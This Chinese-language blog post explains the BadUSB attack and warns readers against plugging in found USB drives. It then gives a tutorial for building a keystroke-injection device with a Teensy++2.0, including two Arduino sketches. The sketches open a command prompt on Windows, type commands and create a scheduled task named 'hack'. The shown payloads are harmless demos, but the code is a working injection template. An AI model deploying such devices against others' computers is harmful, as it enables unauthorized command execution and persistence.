如果你在路邊撿到一個U盤,你會不會因為好奇而把它插到電腦上打開它?
U盤
如果這個U盤是有心人故意扔在那裡的,那麼你將為你的好奇心買單>﹏<。
2014年的黑帽大會上,BadUSB首次亮相。柏林SRLabs的安全研究人員Jakob Lell和獨立安全研究人員Karsten Nohl展示了他們稱為“BadUSB”(按照BadBIOS命名)的攻擊方法,這種攻擊方法讓USB安全和幾乎所有和USB相關的設備(包括具有USB端口的電腦)都陷入相當不值得信任的狀態。
BadUSB主要依靠USB拇指驅動器的構建方式,USB通常有一個大的可重寫的內存芯片用於實際的數據存儲,以及一個獨立的控制器芯片。這個控制芯片實際上是一個低功耗計算機,並且與你的筆記本電腦或臺式機一樣,它通過從內存芯片加載基本的引導程序來啟動。類似於筆記本電腦的硬盤驅動器包含一個隱藏的主引導記錄(Master Boot Record),內存芯片中內存單元的第一段包含讓USB記錄的編程。允許攻擊者在不被檢測到的情況下悄悄在USB設備中植入惡意軟件。
所以路上的撿到的U盤請記住不要隨便打開~
對製作BadUSB感興趣的童鞋可以繼續往下閱讀:
普通的U盤一般是不能製成BadUSB的,在這裡我推薦Teensy++2.0,某寶上有賣。
Teensy++2.0
這裡教大家使用Teensy++2.0製作BadUSB:
第一步 安裝Arduino。我這裡安裝1.8.0
下載地址:評論區
第二步 下載安裝Teensyduino,我這裡安裝1.34。
下載地址:評論區
安裝頁面
注意紅色框起來的是支持的Arduino版本。
第三步 可以插入Teensy++2.0開始搞事了
注意:漢化 file->preferences 選擇language為簡體中文 2.工具裡面要選
送份demo代碼:
代碼:
void setup(){ //初始化
Keyboard.begin();//開始鍵盤通信
delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這裡我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵
delay(500);
Keyboard.press('r');//按下r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);//鬆掉win鍵
Keyboard.release('r');//鬆掉r鍵
//delay(500);
Keyboard.println("cmd");//輸入cmd進入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.println("Hello Teensy++2.0");
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵
delay(500);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
Keyboard.end();//結束鍵盤通訊
}
void loop()//循環,這裡的代碼
{
//循環體 寫入你要循環的代碼
}
再附一段代碼,在21點打開個txt
void setup(){ //初始化
Keyboard.begin();//開始鍵盤通信
delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這裡我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵
delay(500);
Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵
delay(500);
Keyboard.press('r');//按下r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);//鬆掉win鍵
Keyboard.release('r');//鬆掉r鍵
//delay(500);
Keyboard.println("cmd");//輸入cmd進入DOS
delay(500);
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.println("D:");
Keyboard.println("echo I'm back!>a.txt");
Keyboard.println("schtasks /create /tn "hack" /tr "d:a.txt" /sc once /st 21:12");
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
delay(500);
Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵
Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵
delay(500);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN); //按下回車鍵
Keyboard.release(KEY_RETURN); //釋放回車鍵
Keyboard.end();//結束鍵盤通訊
}
void loop()//循環,這裡的代碼
{
//循環體 寫入你要循環的代碼
}
閱讀更多 看到他請叫他快去學習 的文章